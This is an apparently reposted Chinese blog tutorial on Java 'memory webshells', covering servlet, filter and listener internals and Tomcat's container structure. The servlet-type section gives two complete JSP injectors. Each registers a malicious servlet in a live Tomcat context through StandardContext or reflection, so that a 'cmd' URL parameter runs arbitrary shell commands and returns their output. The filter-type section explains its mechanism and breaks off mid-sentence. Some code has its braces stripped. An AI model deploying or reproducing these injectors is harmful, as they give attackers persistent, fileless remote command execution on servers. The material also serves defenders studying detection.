一文了解内存马

Posted 2022-01-19 思源湖的鱼

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篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了一文了解内存马相关的知识，希望对你有一定的参考价值。

前言

随着攻防对抗的博弈愈发激烈，流量分析、EDR等专业安全设备被防守方广泛使用，传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到，webshell终于进入内存马时代，其关键在于无文件，利用中间件的进程执行恶意代码。本文试图进行一个学习，尽可能搞明白其来龙去脉

一、基础知识

1、Java web三大件

详情可参考：java web请求三大器——listener、filter、servlet

启动的顺序为listener->Filter->servlet，但是执行顺序与其特性相关，下面简单讲一下三大件

（1）Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序，作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层，负责处理用户的请求，并根据请求生成相应的返回信息提供给用户。

请求的处理过程：

客户端发起一个HTTP请求，比如GET类型
Servlet容器接收到请求，根据请求信息，封装成HttpServletRequest和HttpServletResponse对象
Servlet容器调用HttpServlet的init()方法，init()方法只在第一次请求的时候被调用
Servlet容器调用service()方法，service()方法根据请求类型，这里是GET类型，分别调用doGet或者doPost方法，这里调用doGet方法，doXXX方法中是我们自己写的业务逻辑
业务逻辑处理完成之后，返回给Servlet容器，然后容器将结果返回给客户端
容器关闭时候，会调用destory方法

生命周期：

服务器启动时(web.xml中配置load-on-startup=1，默认为0)或者第一次请求该servlet时，就会初始化一个Servlet对象，也就是会执行初始化方法init(ServletConfig conf)
servlet对象去处理所有客户端请求，在service(ServletRequest req，ServletResponse res)方法中执行
服务器关闭时，销毁这个servlet对象，执行destroy()方法
由JVM进行垃圾回收

（2）Filter

Filter，过滤器，是对Servlet技术的一个强补充，其主要功能是

在HttpServletRequest到达 Servlet 之前，拦截客户的HttpServletRequest ，根据需要检查HttpServletRequest，也可以修改HttpServletRequest 头和数据
在HttpServletResponse到达客户端之前，拦截HttpServletResponse ，根据需要检查HttpServletResponse，也可以修改HttpServletResponse头和数据

基本工作原理

Filter 程序是一个实现了特殊接口的 Java 类，与 Servlet 类似，也是由 Servlet 容器进行调用和执行的
当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时，它可以决定是否将请求继续传递给 Servlet 程序，以及对请求和响应消息是否进行修改
当 Servlet 容器开始调用某个 Servlet 程序时，如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截，那么容器不再直接调用 Servlet 的 service 方法，而是调用 Filter 的 doFilter 方法，再由 doFilter 方法决定是否去激活 service 方法
但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法，而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法，FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的
只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码，这样就可以在 Servlet 进行响应前后实现某些特殊功能
如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法，则目标 Servlet 的 service 方法不会被执行，这样通过 Filter 就可以阻止某些非法的访问请求

生命周期：

与Servlet一样，Filter的创建和销毁也由web容器负责。 web 应用程序启动时，web 服务器将创建Filter 的实例对象，并调用其init方法，读取web.xml配置，完成对象的初始化功能，从而为后续的用户请求作好拦截的准备工作（filter对象只会创建一次，init方法也只会执行一次）
开发人员通过init方法的参数，可获得代表当前filter配置信息的FilterConfig对象
Filter对象创建后会驻留在内存，当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中，可以释放过滤器使用的资源。

filter链

当多个filter同时存在的时候，组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序，决定先调用哪个Filter
当第一个Filter的doFilter方法被调用时，web服务器会创建一个代表Filter链的FilterChain对象传递给该方法，通过判断FilterChain中是否还有filter决定后面是否还调用filter

（3）Listener

JavaWeb开发中的监听器（Listener）就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件：

ServletContextListener：对Servlet上下文的创建和销毁进行监听
ServletContextAttributeListener：监听Servlet上下文属性的添加、删除和替换
HttpSessionListener：对Session的创建和销毁进行监听。Session的销毁有两种情况，一个中Session超时，还有一种是通过调用Session对象的invalidate()方法使session失效
HttpSessionAttributeListener：对Session对象中属性的添加、删除和替换进行监听
ServletRequestListener：对请求对象的初始化和销毁进行监听
ServletRequestAttributeListener：对请求对象属性的添加、删除和替换进行监听

用途

可以使用监听器监听客户端的请求、服务端的操作等
可以自动出发一些动作，比如监听在线的用户数量，统计网站访问量、网站访问监控等

生命周期

listener的生命周期从web容器启动，到web容器销毁

2、Tomcat

详情可参考：Tomcat 架构原理解析到架构设计借鉴（这篇真的很详细具体）

简单理解，Tomcat是HTTP服务器+Servlet容器，对我们屏蔽了应用层协议和网络通信细节，给我们的是标准的 Request 和 Response 对象；对于具体的业务逻辑则作为变化点，交给我们来实现

Tomcat 启动流程：startup.sh -> catalina.sh start ->java -jar org.apache.catalina.startup.Bootstrap.main()

Tomcat 实现的 2 个核心功能：

处理 Socket 连接，负责网络字节流与 Request 和 Response 对象的转化
加载并管理 Servlet ，以及处理具体的 Request 请求

Tomcat 作为 Servlet 的容器，能够将用户的请求发送给 Servlet，并且将 Servlet 的响应返回给用户，Tomcat中有四种类型的Servlet容器，从上到下分别是 Engine、Host、Context、Wrapper：

Engine，实现类为 org.apache.catalina.core.StandardEngine
Host，实现类为 org.apache.catalina.core.StandardHost
Context，实现类为 org.apache.catalina.core.StandardContext
Wrapper，实现类为 org.apache.catalina.core.StandardWrapper

3、其他

（1）Java 反射

Java反射无比强大，许多功能底层都是反射，其主要步骤包括：

获取目标类型的Class对象
通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息，并进行后续操作

（2）Java Instrumentation

Instrumentation是Java提供的一个来自JVM的接口，该接口提供了一系列查看和操作Java类定义的方法，例如修改类的字节码、向classLoader的classpath下加入jar文件等，使得开发者可以通过Java语言来操作和监控JVM内部的一些状态，进而实现Java程序的监控分析，甚至实现一些特殊功能（如AOP、热部署）

Java agent是一种特殊的Java程序（Jar文件），它是Instrumentation的客户端。与普通Java程序通过main方法启动不同，agent并不是一个可以单独启动的程序，而必须依附在一个Java应用程序（JVM）上，与它运行在同一个进程中，通过Instrumentation API与虚拟机交互

在注入内存马的过程中，我们可以利用java Instrumentation机制，动态的修改已加载到内存中的类里的方法，进而注入恶意的代码

二、内存马概述

1、简史

（1）webshell的变迁过程

大致如下：

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

这里用lex1993师傅的图小结下之前的webshell：

（2）内存马的变迁过程

内存马早在17年n1nty师傅的Tomcat 源代码调试笔记 - 看不见的 Shell中已初见端倪，但一直不温不火

18年经过rebeyong师傅使用agent技术加持后，拓展了内存马的使用场景—— 利用“进程注入”实现无文件不死webshell，然终停留在奇技淫巧上

在各类HW洗礼之后，文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。20年，LandGrey师傅构造了Spring controller内存马——基于内存 Webshell 的无文件攻击技术研究可以算是一波热潮起

至此内存马开枝散叶发展出了三大类型：

servlet-api类：filter型、servlet型、listener型
spring类：interceptor型、controller型
Java Instrumentation类：agent型

当然还有tomcat、weblogic等框架、容器的内存马

2、内存马简介

目标：访问任意url或者指定url，带上命令执行参数，即可让服务器返回命令执行结果
实现：以java为例，客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件，我们只要在这个请求的过程中做手脚，在内存中修改已有的组件或者动态注册一个新的组件，插入恶意的shellcode，就可以达到我们的目的。

三、内存马原理与实现

先放个各种demo的仓库：https://github.com/jweny/MemShellDemo

1、Servlet型

（1）注册过程

直接查看添加一个servlet后StandardContext的变化

	<servlet>
        <servlet-name>servletDemo</servlet-name>
        <servlet-class>com.yzddmr6.servletDemo</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>servletDemo</servlet-name>
        <url-pattern>/demo</url-pattern>
    </servlet-mapping>

我们的servlet被添加到了children中，对应的是使用StandardWrapper这个类进行封装

一个child对应一个封装了Servlet的StandardWrapper对象，其中有servlet的名字跟对应的类。StandardWrapper对应配置文件中的如下节点：

	<servlet>
        <servlet-name>servletDemo</servlet-name>
        <servlet-class>com.yzddmr6.servletDemo</servlet-class>
    </servlet>

servlet有对应的servletMappings，记录了urlParttern跟所对应的servlet的关系

servletMappings对应配置文件中的如下节点：

	<servlet-mapping>
        <servlet-name>servletDemo</servlet-name>
        <url-pattern>/demo</url-pattern>
    </servlet-mapping>

（2）内存马

过程：

创建一个恶意的servlet
获取当前的StandardContext
将恶意servlet封装成wrapper添加到StandardContext的children当中
添加ServletMapping将访问的URL和wrapper进行绑定

执行下面的代码，访问当前应用的/shell路径，加上cmd参数就可以命令执行

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() 
        @Override
        public void init(ServletConfig servletConfig) throws ServletException 

        
        @Override
        public ServletConfig getServletConfig() 
            return null;
        
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException 
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) 
                isLinux = false;
            
            String[] cmds = isLinux ? new String[]"sh", "-c", cmd : new String[]"cmd.exe", "/c", cmd;
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        
        @Override
        public String getServletInfo() 
            return null;
        
        @Override
        public void destroy() 

        
    ;

    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);

    // 添加ServletMapping将访问的URL和Servlet进行绑定
    standardCtx.addServletMapping("/shell","jweny");
%>

（3）另一个实现

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.annotation.WebServlet"%>
<%@ page import = "javax.servlet.http.HttpServlet"%>
<%@ page import = "javax.servlet.http.HttpServletRequest"%>
<%@ page import = "javax.servlet.http.HttpServletResponse"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>


<!-- 1 request this file -->
<!-- 2 request thisfile/../evilpage?cmd=calc -->


<%
class EvilServlet implements Servlet
    @Override
    public void init(ServletConfig config) throws ServletException 
    @Override
    public String getServletInfo() return null;
    @Override
    public void destroy()     public ServletConfig getServletConfig() return null;
    
    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException 
        HttpServletRequest request1 = (HttpServletRequest) req;
        HttpServletResponse response1 = (HttpServletResponse) res;
        if (request1.getParameter("cmd") != null)
            Runtime.getRuntime().exec(request1.getParameter("cmd"));
        
        else
            response1.sendError(HttpServletResponse.SC_NOT_FOUND);
        
    

%>


<%
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 
EvilServlet evilServlet = new EvilServlet();
org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper();
evilWrapper.setName("evilPage");
evilWrapper.setLoadOnStartup(1);
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(evilWrapper);
standardContext.addServletMapping("/evilpage", "evilPage");
out.println("动态注入servlet成功");
%>

2、Filter型

（1）注册流程

可以看到请求会经过 filter 之后才会到 Servlet ，那么如果我们动态创建一个 filter 并且将其放在最前面，我们的 filter 就会最先执行

自定义一个filter

package com.yzddmr6;

import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter 
    @Override
    public void init(FilterConfig filterConfig) throws ServletException 
        System.out.println("Filter初始化创建....");
    

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException 
        System.out.println("进行过滤操作......");
        // 放行
        chain.doFilter(request, response);
    
    @Override
    public void destroy()

然后在web.xml中注册我们的filter，这里我们设置url-pattern为 /demo 即访问 /demo 才会触发

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.filterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>

</web-app>

访问 http://localhost:8080/demo ，发现成功触发

整个流程可以用宽字节安全的图来小结：

根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
找到对应的 FilterConfig 之后添加到 FilterChain中，并且返回 FilterChain
FilterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ，然后从 FilterConfig 中获取 Filter，然后调用 Filter 的 doFilter 方法

其中的一些类如下：

FilterDefs：存放FilterDef的数组，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
FilterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和对应的URLPattern。对应了web.xml中配置的<filter-mapping>，里面代表了各个filter之间的调用顺序
FilterChain：过滤器链，该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml：存放 web.xml 中内容的类
ContextConfig：Web应用的上下文配置类
StandardContext：Context接口的标准实现类，一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper
StandardWrapperValve：一个 Wrapper 的标准实现类，一个 Wrapper 代表一个Servlet

（2）内存马

过程：

创建恶意filter
用filterDef对filter进行封装
将filterDef添加到filterDefs跟filterConfigs中
创建一个新的filterMap将URL跟filter进行绑定，并添加到filterMaps中。要注意的是，因为filter生效会有一个先后顺序，所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去

每次请求createFilterChain都会依据此动态生成一个过滤链，而StandardContext又会一直保留到Tomcat生命周期结束，所以我们的内存马就可以一直驻留下去，直到Tomcat重启

访问下面这个jsp，注入成功后，用?cmd=即可命令执行（该方法只支持 Tomcat 7.x 以上，因为 javax.servlet.DispatcherType 类是servlet 3 以后引入，而 Tomcat 7以上才

以上是关于一文了解内存马的主要内容，如果未能解决你的问题，请参考以下文章

#私藏项目实操分享#一文带你了解 Java 的内存模型与内存区域

一文了解内存马

目录

前言

一、基础知识

1、Java web三大件

（1）Servlet

（2）Filter

（3）Listener

2、Tomcat

3、其他

（1）Java 反射

（2）Java Instrumentation

二、内存马概述

1、简史

（1）webshell的变迁过程

（2）内存马的变迁过程

2、内存马简介

三、内存马原理与实现

1、Servlet型

（1）注册过程

（2）内存马

（3）另一个实现

2、Filter型

（1）注册流程

（2）内存马